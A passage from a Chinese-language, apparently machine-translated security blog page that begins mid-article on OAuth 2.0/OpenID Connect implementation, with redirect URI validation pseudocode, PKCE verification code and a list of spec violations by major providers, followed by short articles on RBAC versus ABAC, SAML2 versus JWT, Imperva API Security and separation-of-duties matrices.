......如果我冷冷地抛弃了你,到目前为止我读过我的长篇文章,我会感到很遗憾,所以我向你展示了Authlete的实施诀窍。以下是处理授权请求中包含的redirect_uri参数的伪代码。请注意,伪代码不必分解为可浏览性的方法,但在实际的Authlete实现中,代码流很好地分解为方法。因此,出于性能目的,实际代码流与伪代码不同。 (如果实际的实现包含如此多的嵌套if和for伪像,那将是一种耻辱。)
// Extract the value of the 'redirect_uri' parameter from // the authorization request. redirectUri = ... // Remember whether a redirect URI was explicitly given. // It must be checked later in the implementation of the // token endpoint because RFC 6749 states as follows. // // redirect_uri // REQUIRED, if the "redirect_uri" parameter was // included in the authorization request as described // in Section 4.1.1, and their values MUST be identical. // explicit = (redirectUri != null); // Extract registered redirect URIs from the database. registeredRedirectUris = ... // Requirements by RFC 6749 (OAuth 2.0) and those by // OpenID Connect are different. Therefore, the code flow // branches according to whether the request is an OpenID // Connect request or not. This is judged by whether the // 'scope' request parameter contains 'openid' as a value. if ( 'openid' is included in 'scope' ) { // Check requirements by OpenID Connect. // If the 'redirect_uri' is not contained in the request. if ( redirectUri == null ) { // The 'redirect_uri' parameter is mandatory in // OpenID Connect. It's optional in RFC 6749. throw new Exception( "The 'redirect_uri' parameter is missing."); } // For each registered redirect URI. for ( registeredRedirectUri : registeredRedirectUris ) { // 'Simple String Comparison' is required by the // specification. if ( registeredRedirectUri.equals( redirectUri ) ) { // OK. The redirect URI specified by the // authorization request is registered. registered = true; break; } } // If the redirect URI specified by the authorization // request matches none of the registered redirect URIs. if ( registered == false ) { throw new Exception( "The redirect URI is not registered."); } } else { // Check requirements by RFC 6749. // If redirect URIs are not registered at all. if ( registeredRedirectUris.size() == 0 ) { // RFC 6749, 3.1.2.2. Registration Requirements says // as follows: // // The authorization server MUST require the // following clients to register their // redirection endpoint: // // o Public clients. // o Confidential clients utilizing the // implicit grant type. // If the type of the client application which made // the authorization request is 'public'. if ( client.getClientType() == PUBLIC ) { throw new Exception( "A redirect URI must be registered."); } // If the client type is 'confidential' and if the // authorization flow is 'Implicit Flow'. If the // 'response_type' request parameter contains either // or both of 'token' and 'id_token', the flow should // be treated as a kind of 'Implicit Flow'. else if ( responseType.requiresImplicitFlow() ) { throw new Exception( "A redirect URI must be registered."); } } // If the authorization request does not contain the // 'redirect_uri' request parameter. if ( redirectUri == null ) { // If redirect URIs are not registered at all, // or if multiple redirect URIs are registered. if ( registeredRedirectUris.size() != 1 ) { // A redirect URI must be explicitly specified // by the 'redirect_uri' parameter. throw new Exception( "The 'redirect_uri' parameter is missing."); } // One redirect URI is registered. Use it as the // default value of redirect URI. redirectUri = registeredRedirectUris[0]; } // The authorization request contains the 'redirect_uri' // parameter, but redirect URIs are not registered. else if ( registeredRedirectUris.size() == 0 ) { // The code flow reaches here if and only if the // client type is 'confidential' and the authorization // flow is not 'Implicit Flow'. In this case, the // redirect URI specified by the 'redirect_uri' // parameter of the authorization request is used // although it is not registered. However, // requirements written in RFC 6749, 3.1.2. // Redirection Endpoint are checked. // If the specified redirect URI is not an absolute one. if ( redirectUri.isAbsolute() == false ) { throw new Exception( "The 'redirect_uri' is not an absolute URI."); } // If the specified redirect URI has a fragment part. if ( redirectUri.getFragment() != null ) { throw new Exception( "The 'redirect_uri' has a fragment part."); } } else { // If the specified redirect URI is not an absolute one. if ( redirectUri.isAbsolute() == false ) { throw new Exception( "The 'redirect_uri' is not an absolute URI."); } // If the specified redirect URI has a fragment part. if ( redirectUri.getFragment() != null ) { throw new Exception( "The 'redirect_uri' has a fragment part."); } // For each registered redirect URI. for (registeredRedirectUri : registeredRedirectUris ) { // If the registered redirect URI is a full URI. if ( registeredRedirectUri.getQuery() != null ) { // 'Simple String Comparison' if ( registeredRedirectUri.equals( redirectUri ) ) { // The specified redirect URI is registered. registered = true; break; } // This registered redirect URI does not match. continue; } // Compare the scheme parts. if ( registeredRedirectUri.getScheme().equals( redirectUri.getScheme() ) == false ) { // This registered redirect URI does not match. continue; } // Compare the user information parts. Here I use // an imaginary method 'equalsSafely()' because // the code would become too long if I inlined it. // The method compares arguments without throwing // any exception even if either or both of the // arguments are null. if ( equalsSafely( registeredRedirectUri.getUserInfo(), redirectUri.getUserInfo() ) == false ) { // This registered redirect URI does not match. continue; } // Compare the host parts. Ignore case sensitivity. if ( registeredRedirectUri.getHost().equalsIgnoreCase( redirectUri.getHost() ) == false ) { // This registered redirect URI does not match. continue; } // Compare the port parts. Here I use an imaginary // method 'getPortOrDefaultPort()' because the // code would become too long if I inlined it. The // method returns the default port number of the // scheme when 'getPort()' returns -1. The last // resort is 'URI.toURL().getDefaultPort()'. -1 is // returned If 'getDefaultPort()' throws an exception. if ( getPortOrDefaultPort( registeredRedirectUri ) != getPortOrDefaultPort( redirectUri ) ) { // This registered redirect URI does not match. continue; } // Compare the path parts. Here I use the imaginary // method 'equalsSafely()' again. if ( equalsSafely( registeredRedirectUri.getPath(), redirectUri.getPath() ) == false ) { // This registered redirect URI does not match. continue; } // The specified redirect URI is registered. registered = true; break; } // If none of the registered redirect URI matches. if ( registered == false ) { throw new Exception( "The redirect URI is not registered."); } } } // Check requirements by the 'application_type' of the client.// If the value of the 'application_type' attribute is 'web'. if ( client.getApplicationType() == WEB ) { // If the authorization flow is 'Implicit Flow'. When the // 'response_type' request parameter of the authorization // request contains either or both of 'token' and 'id_token', // it should be treated as a kind of 'Implicit Flow'. if ( responseType.requiresImplicitFlow() ) { // If the scheme of the redirect URI is not 'https'. if ( "https".equals( redirectUri.getScheme() ) == false ) { // The scheme part of the redirect URI must be // 'https' when a client application whose // 'application_type' is 'web' uses 'Implicit Flow'. throw new Exception( "The scheme of the redirect URI is not 'https'."); } // If the host of the redirect URI is 'localhost'. if ( "localhost".equals( redirectUri.getHost() ) ) { // The host of the redirect URI must not be // 'localhost' when a client application whose // 'application_type' is 'web' uses 'Implicit Flow'. throw new Exception( "The host of the redirect URI is 'localhost'."); } } } // If the value of the 'application_type' attribute is 'native'. else if ( client.getApplicationType() == NATIVE ) { // If the scheme of the redirect URI is 'https'. if ( "https".equals( redirectUri.getScheme() ) ) { // The scheme of the redirect URI must not be 'https' // when the 'application_type' of the client is 'native'. throw new Exception( "The scheme of the redirect URI is 'https'."); } // If the scheme of the redirect URI is 'http'. if ( "http".equals( redirectUri.getScheme() ) ) { // If the host of the redirect URI is not 'localhost'. if ( "localhost".equals( redirectUri.getHost() ) == false ) { // When a client application whose 'application_type' // is 'native' uses a redirect URI whose scheme is // 'http', the host port of the URI must be // 'localhost'. throw new Exception( "The host of the redirect URI is not 'localhost'."); } } } // If the value of the 'application_type' attribute is neither // 'web' or 'native'. else { // As mentioned above, Authlete allows 'unspecified' as a // value of the 'application_type' attribute. Therefore, // no exception is thrown here. }
8.2。其他的实施
在OpenID Connect中,redirect_uri参数是必需的,关于如何检查呈现的重定向URI是否已注册的要求只是“简单字符串比较”。因此,如果您需要关注的只是OpenID Connect,那么实现将非常简单。例如,在2016年10月在GitHub上赢得大约1,700颗星并且已通过OpenID认证计划认证的IdentityServer3中,检查重定向URI的实现如下(摘自DefaultRedirectUriValidator.cs以及其他格式化新行)。
public virtual Task<bool> IsRedirectUriValidAsync(
string requestedUri, Client client)
{
return Task.FromResult(
StringCollectionContainsString(
client.RedirectUris, requestedUri));
}
OpenID Connect只关心手段,换句话说,授权服务器不接受传统授权代码流和范围请求参数中不包含openid的隐式流。也就是说,这样的授权服务器无法响应任何现有的OAuth 2.0客户端应用程序。
那么,IdentityServer3是否拒绝传统的授权请求?看看AuthorizeRequestValidator.cs,你会发现这个(格式化已经调整):
if (request.RequestedScopes.Contains(
Constants.StandardScopes.OpenId))
{
request.IsOpenIdRequest = true;
}
//////////////////////////////////////////////////////////
// check scope vs response_type plausability
//////////////////////////////////////////////////////////
var requirement =
Constants.ResponseTypeToScopeRequirement[request.ResponseType];
if (requirement == Constants.ScopeRequirement.Identity
requirement == Constants.ScopeRequirement.IdentityOnly)
{
if (request.IsOpenIdRequest == false)
{
LogError("response_type requires the openid scope", request);
return Invalid(request, ErrorTypes.Client);
}
}
您无需了解此代码的详细信息。关键是有一些路径允许在scope参数中不包含openid的情况。也就是说,接受传统的授权请求。如果是这样,IdentityServer3的实现是不正确的。但是,另一方面,在AuthorizeRequestValidator.cs中的另一个位置,实现拒绝所有不包含redirect_uri参数的授权请求,如下所示(格式化已调整)。
//////////////////////////////////////////////////////////
// redirect_uri must be present, and a valid uri
//////////////////////////////////////////////////////////
var redirectUri = request.Raw.Get(Constants.AuthorizeRequest.RedirectUri);
if (redirectUri.IsMissingOrTooLong(
_options.InputLengthRestrictions.RedirectUri))
{
LogError("redirect_uri is missing or too long", request);
return Invalid(request);
}
因此,实现不必关心省略redirect_uri参数的情况。但是,因为redirect_uri参数在RFC 6749中是可选的,所以行为 - 没有redirect_uri参数的授权请求被无条件拒绝,尽管传统的授权请求被接受 - 违反了规范。此外,IdentityServer3不会对application_type属性进行验证。要实现验证,作为第一步,必须将application_type属性的属性添加到表示客户端应用程序(Client.cs)的模型类中,因为当前实现错过了它。
9.违反规范
细微违反规范的行为有时被称为“方言”。 “方言”一词可能给人一种“可接受”的印象,但违法行为是违法行为。如果没有方言,则为每种计算机语言提供一个通用OAuth 2.0 / OpenID Connect库就足够了。但是,在现实世界中,违反规范的授权服务器需要自定义客户端库。
Facebook的OAuth流程需要其自定义客户端库的原因是Facebook的OAuth实现中存在许多违反规范的行为。例如,(1)逗号用作范围列表的分隔符(它应该是空格),(2)来自令牌端点的响应的格式是application / x-www-form-urlencoded(它应该是JSON) ,以及(3)访问令牌的到期日期参数的名称是过期的(应该是expires_in)。
Facebook和其他大牌公司不仅违反了规范。以下是其他示例。
9.1。范围清单的分隔符
范围名称列在授权端点和令牌端点的请求的范围参数中。 RFC 6749,3.3。访问令牌范围要求将空格用作分隔符,但以下OAuth实现使用逗号:
- GitHub
- Spotify
- Discus
- Todoist
9.2 令牌端点的响应格式
RFC 6749,5.1。成功响应要求来自令牌端点的成功响应的格式为JSON,但以下OAuth实现使用application / x-www-form-urlencoded:
- Bitly
- GitHub
默认格式为application / x-www-form-urlencoded,但GitHub提供了一种请求JSON的方法。
9.3 来自令牌端点的响应中的token_type
RFC 6749,5.1。成功响应要求token_type参数包含在来自令牌端点的成功响应中,但以下OAuth实现不包含它:
松弛
Salesforce也遇到过这个问题(OAuth访问令牌响应丢失token_type),但它已被修复。
9.4 token_type不一致
以下OAuth实现声称令牌类型为“Bearer”,但其资源端点不接受通过RFC 6750(OAuth 2.0授权框架:承载令牌使用)中定义的方式访问令牌:
GitHub(它通过授权格式接受访问令牌:令牌OAUTH-TOKEN)
9.5 grant_type不是必需的
grant_type参数在令牌端点是必需的,但以下OAuth实现不需要它:
- GitHub
- Slack
- Todoist
9.6 错误参数的非官方值
规范已为错误参数定义了一些值,这些值包含在授权服务器的错误响应中,但以下OAuth实现定义了自己的值:
GitHub(例如application_suspended)
Todoist(例如bad_authorization_code)
9.7。错误时参数名称错误
以下OAuth实现在返回错误代码时使用errorCode而不是error:
线
10.代码交换的证明密钥
10.1。 PKCE是必须的
你知道PKCE吗?它是一个定义为RFC 7636(OAuth公共客户端的代码交换证明密钥)的规范,于2015年9月发布。它是针对授权代码拦截攻击的对策。
攻击成功需要一些条件,但如果您考虑发布智能手机应用程序,强烈建议客户端应用程序和授权服务器都支持PKCE。否则,恶意应用程序可能拦截授权服务器发出的授权代码,并将其与授权服务器的令牌端点处的有效访问令牌交换。
在2012年10月发布了RFC 6749(OAuth 2.0授权框架),因此即使熟悉OAuth 2.0的开发人员也可能不知道2015年9月最近发布的RFC 7636。但是,应该注意的是“OAuth 2.0 for Native Apps”草案表明,在某些情况下,它的支持是必须的。
客户端和授权服务器都必须支持PKCE [RFC7636]使用自定义URI方案或环回IP重定向。授权服务器应该使用自定义方案拒绝授权请求,或者如果不存在所需的PKCE参数,则将环回IP作为重定向URI的一部分,返回PKCE [RFC7636]第4.4.1节中定义的错误消息。建议将PKCE [RFC7636]用于应用程序声明的HTTPS重定向URI,即使这些URI通常不会被拦截,以防止对应用程序间通信的攻击。
支持RFC 7636的授权服务器的授权端点接受两个请求参数:code_challenge和code_challenge_method,令牌端点接受code_verifier。并且在令牌端点的实现中,授权服务器使用(a)客户端应用程序呈现的代码验证器和(b)客户端应用程序在授权端点处指定的代码质询方法来计算代码质询的值。如果计算的代码质询和客户端应用程序在授权端点处呈现的code_challenge参数的值相等,则可以说发出授权请求的实体和发出令牌请求的实体是相同的。因此,授权服务器可以避免向恶意应用程序发出访问令牌,该恶意应用程序与发出授权请求的实体不同。
RFC 7636的整个流程在Authlete的网站上进行了说明:代码交换的证明密钥(RFC 7636)。如果您有兴趣,请阅读。
10.2 服务器端实现
在授权端点的实现中,授权服务器必须做的是将授权请求中包含的code_challenge参数和code_challenge_method参数的值保存到数据库中。因此,实现代码中没有任何有趣的内容。需要注意的是,想要支持PKCE的授权服务器必须将code_challenge和code_challenge_method的列添加到存储授权码的数据库表中。
Authlete的完整源代码是保密的,但是为了您的兴趣,我在这里向您展示了实际的Authlete实现,它验证了令牌端点处code_verifier参数的值。
private void validatePKCE(AuthorizationCodeEntity acEntity)
{
// See RFC 7636 (Proof Key for Code Exchange) for details.
// Get the value of 'code_challenge' which was contained in
// the authorization request.
String challenge = acEntity.getCodeChallenge();
if (challenge == null)
{
// The authorization request did not contain
// 'code_challenge'.
return;
}
// If the authorization request contained 'code_challenge',
// the token request must contain 'code_verifier'. Extract
// the value of 'code_verifier' from the token request.
String verifier = extractFromParameters(
"code_verifier", invalid_grant, A050312, A050313, A050314);
// Compute the challenge using the verifier
String computedChallenge = computeChallenge(acEntity, verifier);
if (challenge.equals(computedChallenge))
{
// OK. The presented code_verifier is valid.
return;
}
// The code challenge value computed with 'code_verifier'
// is different from 'code_challenge' contained in the
// authorization request.
throw toException(invalid_grant, A050315);
}
private String computeChallenge(
AuthorizationCodeEntity acEntity, String verifier)
{
CodeChallengeMethod method = acEntity.getCodeChallengeMethod();
// This should not happen, but just in case.
if (method == null)
{
// Use 'plain' as the default value required by RFC 7636.
method = CodeChallengeMethod.PLAIN;
}
switch (method)
{
case PLAIN:
// code_verifier
return verifier;
case S256:
// BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
return computeChallengeS256(verifier);
default:
// The value of code_challenge_method extracted
// from the database is not supported.
throw toException(server_error, A050102);
}
}
private String computeChallengeS256(String verifier)
{
// BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
// SHA256
byte[] hash =
Digest.getInstanceSHA256().update(verifier).digest();
// BASE64URL
return SecurityUtils.encode(hash);
}
用于实现computeChallengeS256(String)方法的Digest类包含在我的开源库nv-digest中。它是一个实用程序库,可以轻松进行摘要计算。使用此库,计算SHA-256摘要值可以写成一行,如下所示。
byte[] hash = Digest.getInstanceSHA256().update(verifier).digest();
10.3。客户端实施
客户端应用程序必须为PKCE做些什么。一种是生成一个由43-128个字母组成的随机码验证器,使用代码验证器和代码质询方法(plain或S256)计算代码质询,并包括计算出的代码质询和代码质询方法作为值授权请求中的code_challenge参数和code_challenge_method参数。另一种是在令牌请求中包含代码验证器。
作为客户端实现的示例,我将介绍以下两个。
它们是用于与OAuth 2.0和OpenID Connect服务器通信的SDK。他们声称他们包括最佳实践并支持PKCE。
如果为code_challenge_method = S256实现计算逻辑,则可以通过在代码验证器的值为dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk时检查代码质询的值是否变为E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM来测试它。这些值在RFC 7636的“附录B. S256 code_challenge_method的示例”中作为示例值找到。
11.最后
有些人可能会说实施OAuth和OpenID Connect很容易,其他人可能会说不是。在任何一种情况下,事实上,即使是拥有足够预算和人力资源的Facebook和GitHub等大型科技公司也未能正确实施OAuth和OpenID Connect。着名的开源项目如Apache Oltu和Spring Security也存在问题。因此,如果您自己实施OAuth和OpenID Connect,请认真对待并准备一个体面的开发团队。否则,安全风险将会增加。
仅仅实现RFC 6749并不困难,但是从头开始实施OpenID Connect会让您发疯。因此,建议使用现有实现作为起点。第一步是在OpenID Connect网站中搜索与OAuth和OpenID Connect相关的软件的“库,产品和工具”页面(尽管未列出Authlete)。当然,作为Authlete,Inc。的联合创始人,如果您选择Authlete,我将很高兴。
感谢您阅读这篇长篇文章。
本文:http://pub.intelligentx.net/node/510
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 158 次浏览
【应用安全】RBAC与ABAC:有什么区别?
在任何公司,网络用户必须经过身份验证和授权,才能访问系统中可能导致安全漏洞的部分。获得授权的过程称为访问控制。在本指南中,我讨论了管理系统访问控制的两种主要方法:基于角色的访问控制(RBAC)和基于属性的访问控制。我还回顾了SolarWinds®访问权限管理器,它是我的首选解决方案,可帮助团队更轻松地监控整个组织的访问控制。
- 身份验证和授权
- 基于角色访问控制(RBAC)与基于属性访问控制(ABAC)
- 什么是RBAC?
- 什么是ABAC?
- RBAC与ABAC
- 最佳访问管理工具
- 如何选择访问控制解决方案
身份验证和授权
安全的两个基本方面是身份验证和授权。输入凭据以登录计算机或登录应用程序或软件后,设备或应用程序将进行身份验证以确定您的授权级别。授权可能包括您可以使用哪些帐户、您可以访问哪些资源以及您可以执行哪些功能。
基于角色访问控制(RBAC)与基于属性访问控制(ABAC)
基于角色访问控制(RBAC)和基于属性访问控制(ABAC)是控制身份验证过程和授权用户的两种方式。RBAC和ABAC的主要区别是RBAC基于用户角色提供对资源或信息的访问,而ABAC基于用户、环境或资源属性提供访问权限。本质上,当考虑RBAC与ABAC时,RBAC控制整个组织的广泛访问,而ABAC采用细粒度方法。
什么是RBAC?
RBAC是基于角色的,因此根据您在组织中的角色,您将拥有不同的访问权限。这由管理员决定,管理员设置角色应具有的访问权限的参数,以及分配给哪些用户的角色。例如,某些用户可能被分配到一个角色,在该角色中,他们可以编写和编辑特定文件,而其他用户可能被限制为只能阅读文件,但不能编辑文件。
一个用户可以被分配多个角色,从而可以访问许多不同的文件或功能。假设有一个团队在一个大型项目上工作。项目经理可以访问所有文件,并可以编辑和更改项目中的内容。然而,开发团队可能只能访问编程文件,无法查看或编辑项目的财务信息或员工详细信息。另一方面,人力资源或管理团队可能可以访问所有员工和财务信息,但不能使用编程文件。
组织可能会将RBAC用于此类项目,因为使用RBAC,不需要在每次人员离开组织或更改工作时更改策略:只需将其从角色组中删除或分配给新角色即可。这也意味着新员工可以相对快速地获得访问权限,这取决于他们履行的组织角色。
什么是ABAC?
基于属性的访问控制利用了一组称为“属性”的特性。这包括用户属性、环境属性和资源属性。
- 用户属性包括用户名、角色、组织、ID和安全许可等内容。
- 环境属性包括访问时间、数据位置和当前组织威胁级别。
- 资源属性包括创建日期、资源所有者、文件名和数据敏感性。
本质上,ABAC具有比RBAC多得多的可能控制变量。ABAC的实现是为了减少未经授权的访问带来的风险,因为它可以在更细粒度的基础上控制安全和访问。例如,ABAC可以对其访问设置进一步的限制,例如只允许在特定时间或与相关员工相关的特定分支机构访问,而不是让HR角色的人员始终能够访问员工和工资信息。这可以减少安全问题,也有助于以后的审核过程。
RBAC与ABAC
通常,如果RBAC足够了,您应该在设置ABAC访问控制之前使用它。这两个访问控制过程都是过滤器,ABAC是这两个过程中比较复杂的,需要更多的处理能力和时间。如果你不需要它,那么使用这个更强大的过滤器并承担相应的资源成本是没有意义的。
无论如何,使用最少数量的RBAC和ABAC过滤器来构建访问和安全环境都很重要。它可以帮助您仔细规划目录数据和访问方法,以确保您没有使用不必要的过滤器或使事情过于复杂。在许多情况下,RBAC和ABAC可以分层使用,RBAC协议实施广泛访问,ABAC管理更复杂的访问。这意味着系统将首先使用RBAC来确定谁有权访问资源,然后使用ABAC来确定他们可以使用资源做什么以及何时可以访问资源。
最佳访问管理工具
无论您使用RBAC还是ABAC,或者两者的组合,我强烈建议您使用访问权限管理工具。一个好的工具可以简化设置并减少设置和管理筛选器所涉及的管理开销。我选择的是Access Rights Manager,这是一个高质量的工具,专门用于管理和审核整个IT基础架构的访问权限。
Access Rights Manager包括一个用户管理系统,用于监视、分析和报告Active Directory和组策略,并可以向您显示所做的更改、更改者和更改时间,这有助于您最大限度地减少内部威胁的可能性。它包括旨在帮助您实施特定于角色的安全性以及用户帐户的设置和取消设置的模板。您可以在一个简单的过程中顺利地委派对文件、文件夹或资源的访问,以减少管理开销。
如何选择访问控制解决方案
在安全方面,仔细规划和监控访问控制过程至关重要。使用强大的访问管理工具来帮助您设置访问控制,并定期检查您的设置,以确保它仍然符合您的组织需求。无论您是投资SolarWinds的Access Rights Manager,还是走另一条路,请确保您选择的工具可以设置协议和机制,以确保用户能够正确访问他们的工作所需的内容,而无需其他。
- 464 次浏览
【应用安全】SAML2 vs JWT:比较
【应用安全】SAML2 vs JWT:比较
这篇文章总结了我们对SAML2和JWT的讨论。在这里,我们看一下这两种技术的特性和用例的比较。很难对JWT和SAML2进行直接比较。正如我们在本系列中看到的那样,必须考虑与这些规范一起使用的规范。
对于JWT,我们必须考虑:
对于SAML2,我们必须考虑
以下总结了SAML2和JWT之间的主要区别。此帖子的原始版本使用表格格式,但Medium.com不支持表格。
年龄
- SAML2:SAML 1.0于2002年推出; SAML2于2005年推出。
- JWT:2014年发布的JWT RFC.JWT更新。
采用
- SAML2:SAML2是Enterprise SSO的事实标准。它已经有一段时间了。
- JWT:JWT,OAuth2和OpenID Connect在社交媒体和科技创业公司中很常见,但现在才进入企业。
哲学
- SAML2:更多的学术方法。简单性不是设计目标。假设将开发运行时库来实现此功能。
- JWT:简单。首先假设应用程序开发人员将实现客户端代码。随着规范的成熟和企业的采用,社区开始摆脱这种局面。
令牌类型
- SAML2:SAML断言(格式严格按规格定义)
- OAuth2:access_token(可以是JWT,但不一定是)
- OIDC:access_token(可以是JWT)和id-token(必须是JWT)。
数据结构
- SAML2:XML(使用XSD定义的结构)
- JWT:JSON(有趣的是,结构不是由JSON Schema定义的)
大小
- SAML2:与JWT相比,趋向于非常大。大小取决于存在的字段,使用签名和加密。
- JWT:比SAML2令牌小很多。 Spec鼓励使用对签名证书的引用而不是嵌入它 - 消除了大型x509签名者证书。
- 支持消息传递协议
- SAML2:主要基于SOAP。
- JWT:REST API
绑定和传输协议
- SAML2:SAML2可以是HTTP POST,HTTP GET,SOAP(取决于场景),JMS(很少见,但可能发生),等等
- JWT:HTTPS
数字签名
- SAML2:XML签名
- JWT:JWS(支持的散列和加密算法略有不同)
消息级加密
- SAML2:XML加密
- JWT:JWE(支持的加密算法略有不同)***
X509证书表示
- SAML2:X509BinarySecurityToken类型
- JWT:JSON Web Key规范(JWK)
核心规格范围
- SAML2:定义令牌(SAML断言)和底层协议(用于Web App SSO)的结构。
- JWT:JWT仅定义令牌结构。 OAuth2和OpenID Connect定义协议。
客户端基础架构
- SAML2:通常需要支持库(重量级)
- JWT:通常可以通过构造简单的HTTP查询来实现。签名和加密将是此规则的例外。*
主题确认方法支持
- SAML2:SAML2支持承载令牌,密钥持有者和发件人凭证。
- JWT:JWT最初只支持Bearer Tokens。 Key持有人(2016年4月增加了占有证明支持)。
授权和假冒(OnBehalfOf和ActAs)
- SAML2:在WS-Trust规范中定义
- JWT:OAuth2的扩展规范(OAuth2令牌交换规范)
支持动态信任库更新和元数据信息的发布。
- SAML2:WS-Federation规范定义了如何发布此信息。但是,它并没有普遍使用。客户端很少动态检索IdP发布的信息以更新其签名者证书信任库。
- JWT:OpenID Connect Discovery规范定义了发布IdP元数据的元数据端点。强烈建议构建可以访问此信息并动态构建/更新信任库的客户端。**
*使用库几乎总是建议从头开始构建查询/请求。
**当必须续签签名者证书时,这一个细节可以节省1000个工时。
*** JWE和XML加密也会有很多相关的差异,但我还没有达到那个系列:)。
XML DSig与JSON Web签名系列中列出的所有差异也适用于此处。
讨论: 请加入知识星球【首席架构师圈】
- 60 次浏览
【应用安全】imperva API Security
API在加速数字经济创新方面发挥着关键作用,但它们也可能为网络犯罪分子提供更广泛的攻击面。 Imperva API Security可以保护您的API,让您高枕无忧,同时检测并阻止漏洞攻击。
这个怎么运作
使用API安全性,只需上传DevOps团队创建的OpenAPI规范文件,Imperva将自动构建一个积极的安全模型,确保只有您希望访问API的流量得到强制执行,并且所有API端点在发布后立即受到保护。
受益于我们的云WAF,CDN,攻击分析和第3/4层DDoS保护的现有功能,我们的单一堆栈方法可确保对您的网站和API最重要的方法。
将DevOps和安全性结合在一起
API的部署由开发人员拥有和管理。 您的组织的敏捷性取决于您的开发人员发布新API并快速更改现有API的能力。 通过API安全无缝集成到您的API生命周期管理中,对您的安全签名进行橡皮图章处理从未如此迅速。
免维护API安全自动化
根据您的OpenAPI规范自动创建和实施积极的安全模型。 减少在DevOps中成为安全专家所花费的时间和精力,并允许Imperva保护您发布的Swagger文件。
单堆栈方法
Imperva API Security通过将我们的API安全解决方案与我们同类网站和API的最佳统一CDN层,负载平衡和DDoS L3 / 4合作,可以降低总体拥有成本(TCO)。
统一并简化您的应用程序安全解决方案
受益于我们一流的综合攻击分析和直观的单一玻璃仪表板。 构建跨网站和API的统一安全策略。
完整的端点保护
Imperva API Security使用根据您的API调整的开箱即用安全规则为您的方法提供支持。 这可确保用户可以在任何位置查看每个API端点的所有安全事件。
将API生命周期管理流程与安全性集成
Imperva API Security集成到您的CI / CD工具中。 每次开发人员更改或添加API时,我们也会自动更新您发布的API。
API网关供应商
Imperva的API安全解决方案与供应商无关,可与许多业界领先的API网关解决方案无缝协作。 点击任何徽标即可访问其网站:
本文:https://jiagoushi.pro/imperva-api-security
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 200 次浏览
【应用安全】什么是SoD矩阵,为什么您的组织需要它?
视频号
微信公众号
知识星球
几十年来,逻辑访问管理是IT通用控制环境中的一个关键控制。即使管理逻辑访问权限的一般概念非常简单,许多组织仍在努力应用所有这些原则。SoD矩阵可能是添加到组织工具箱中的有用工具。
逻辑访问原则概述
逻辑访问管理的主要原则是最小权限原则。组织中的员工应该只能访问他/她执行其工作职责所需任务所需的功能、数据和信息。许多控制可以帮助实现这一原则。以下是几个例子:
- 新员工:当您的组织中有新员工时,应实施正式流程来批准此角色所需的访问权限。审批应由管理层执行。
- 角色修改/晋升:当员工在组织中有新工作或新职责时,应实施正式流程来批准所需的新访问权限,并在不再需要时删除以前的访问权限。
在分析上述控制措施时,必须考虑职责分离(SoD)。事实上,SoD的概念是让不同的员工参与整个过程中的特定任务。因此,一个人不应该有权执行关键流程中的所有任务。
示例:为收到的发票向供应商付款
此过程中的一般步骤(此处仅列出示例的关键步骤):
- 在系统中创建供应商
- 验证并输入发票
- 支付发票
- 记录交易
如果在此过程中不尊重SoD,则同一员工有权执行4个步骤。然而,这是有风险的,因为员工有可能创建假供应商(例如使用他/她自己的银行账号),创建假发票并付款。因此,在这种情况下,SoD不会得到维护,这会增加组织中的欺诈风险。
SoD矩阵的有用性
SoD矩阵的实施可以帮助管理层识别不兼容的职责,并验证授予员工的访问权限不会增加未经授权的交易或行动的风险。
矩阵的几种格式可以识别不兼容的职责。以下是一个示例:
当SoD矩阵完成时,它有助于管理层定义工作职责中的角色和责任,以及财务或行政系统的it角色。经理可以根据矩阵进行SoD分析,以快速确定员工是否拥有过多的访问权限,但职责不兼容。
可以在分析中添加另一个补充矩阵,其中组织将包括授予访问权限的不同角色(或员工姓名)。该矩阵可以与SoD矩阵进行比较,以快速识别特定角色中不兼容的职责。
灵活且进化的工具
矩阵的创建不是一项静态任务,而是随着组织的发展而变化。管理层应进行定期审查,以验证矩阵仍然与组织的运营相关。
此外,管理层应该意识到,不同的系统可能会产生不兼容的职责。来自多个系统的访问权限的组合可能会产生不兼容的职责。因此,系统不应创建SoD矩阵。
不仅仅是适用于金融的工具
此工具不仅适用于财务部门。事实上,在组织的许多部门和团队中,职责分离是至关重要的。在人力资源部门,同一名员工不应该有权雇佣新员工、管理福利和管理工资。在IT部门,同一员工不应该有权在开发环境中开发新功能并将其转移到生产中。SoD矩阵可以成为这些部门识别不兼容职责的有用工具。
如果您的组织太大而没有一个单一的SoD矩阵,该怎么办?
您可以按部门创建一些SoD矩阵,以帮助管理不兼容职责的风险。矩阵分割应基于风险和部门之间的相互依存关系。
如果您的组织太小,无法在同一部门拥有不同的员工来履行所有关键职能,该怎么办?
这是中小型企业的常见问题。事实上,这些组织中可能会出现SoD冲突,因为按部门划分只有少数员工。在这种情况下,重要的是确定SoD冲突以及与此冲突相关的风险。当风险被识别时,实施补偿控制以减轻/降低这种风险是很重要的。
实例
在IT部门,员工A有权在开发环境中开发新功能,并将其应用到生产环境中。这是一场SoD冲突。IT经理可以在进入生产环境之前批准所有更改(预防性控制)。但是,员工可以创建更改,而无需征得经理的批准。因此,应实施额外的控制:管理层根据日志定期审查所有变更(检测控制)。事实上,IT经理可以定期验证日志,以验证所有更改是否已获得批准。显然,员工A不应该有权修改更改日志!
总之,考虑到不断发展的环境:新员工、离职、晋升、新任务、新系统、新项目等,并非所有组织都能轻松管理逻辑访问管理。管理层应意识到围绕逻辑访问权限和SoD冲突的风险,以实施关键控制(包括必要时的补偿控制)并适当界定其团队中的角色和责任。
- 221 次浏览
【应用安全】什么是基于属性的访问控制(ABAC)?
基于属性的访问控制(ABAC)是一种授权模型,它评估属性(或特征),而不是角色,以确定访问。ABAC的目的是保护数据、网络设备和IT资源等对象免受未经授权的用户和操作的影响,这些用户和操作不具有组织安全策略定义的“批准”特征。
ABAC作为一种逻辑访问控制形式在过去十年中变得突出,它是从简单的访问控制列表和基于角色的访问控制(RBAC)演变而来的。作为帮助联邦组织改进其访问控制架构的一项举措的一部分,联邦首席信息官委员会于2011年批准了ABAC。他们建议ABAC作为组织安全共享信息的模式。
在这篇文章中,我们将深入探讨基于属性的访问控制是如何工作的,并考虑采用ABAC对您的组织有益的方式。
